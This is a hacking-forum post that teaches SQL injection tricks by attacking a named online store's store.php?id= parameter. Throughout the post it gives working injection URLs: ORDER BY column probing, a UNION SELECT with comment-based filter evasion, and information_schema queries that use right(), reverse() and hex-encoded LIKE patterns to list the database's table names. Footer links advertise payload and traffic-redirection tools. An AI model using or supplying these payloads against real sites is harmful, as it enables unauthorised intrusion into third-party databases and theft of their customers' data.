[spirited_wolf™]

so, hello Sinisterly members
Today i am here to share some experiments  

So, let's try  

Target::

PHP Code:

http://teamgear.us/store.php?id=1

Lets start with our normal injection.

http://teamgear.us/store.php?id=1'+ORDER+By+15-- - [No-error]

http://teamgear.us/store.php?id=1'+ORDER+By+16-- - [Error]

Mean their are 15 total number of columns. so, now lest try our union select query.

PHP Code:

http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- -

so, columns==> 8 :: 5 :: 3 (2) are vulnerable cheerz.


Now lets start playing with our DIOS/and its output.

we will do everything on this type::

Code:

http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,concat/**_**/(t.able_name),9,10,11,12,13,14,15+f.rom+i.nformation_schema.tables where table_schema=database()-- -

☆¸.•*☆Part 1☆¸.•*☆
About right() function:-

MySQL RIGHT() extracts a specified number of characters from the right side of a string.

Syntax:

PHP Code:

RIGHT(str,len)

str-the string from whose right side a number of characters are to be extracted.
len-An integer indicating the number of characters to be extracted from str.

so we can use

PHP Code:

concat (right(t.able_name,4<- or any thing))

so, our query will be

Code:

http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,concat (right(t.able_name,4)),9,10,11,12,13,14,15+f.rom+i.nformation_schema.tables where table_schema=database()-- -

so as you can see our table invoices is just showing the 4 characeter of table name from right side ices.

so, same as we can use left() , mid() etc.

☆¸.•*☆Part 2☆¸.•*☆
About reverse()

MySQL REVERSE() reverses a string supplied as argument.

suppose :- spirit ->after reversing->tirips

so, we can use

PHP Code:

reverse(t.able_name)

so, lets try it out Thumbsup

PHP Code:

http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,concat (reverse(t.able_name)),9,10,11,12,13,14,15+f.rom+i.nformation_schema.tables where table_schema=database()-- -

So, as you can see invoices reversed into seciovni

☆¸.•*☆Part 3☆¸.•*☆
About LIKE operator:-

So, first thanks to Janus for telling me about this.

so, the LIKE operator is used to search for a specified pattern in a column.

PHP Code:

SELECT column_name(s) FROM t able_name WHERE c olumn_name LIKE pattern;

for more details check here=> LIKE OPERATOR

so, we can use

PHP Code:

table_name like <your_pattern>

don't forget to hex your value before you use it (sometimes in single quote it doesn't work    )
so, now our query will be like::

lets just print those table name which is starting with =>i
i%=> 6925 don't forget to put 0x before it

Code:

http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,group_concat/**_**/(t.able_name),9,10,11,12,13,14,15+f.rom+i.nformation_schema.tables where table_schema=database() and t.able_name like i% <-in hex-- -

Hope you learned something new in this thread  
Morpheus Redirect browser traffic to Google Sphere

[NetToolkit-4.6]Android payload module

[Part 1]$~Metasploit for beginners


Special thanks to:- CrackingForums,  and to all of you.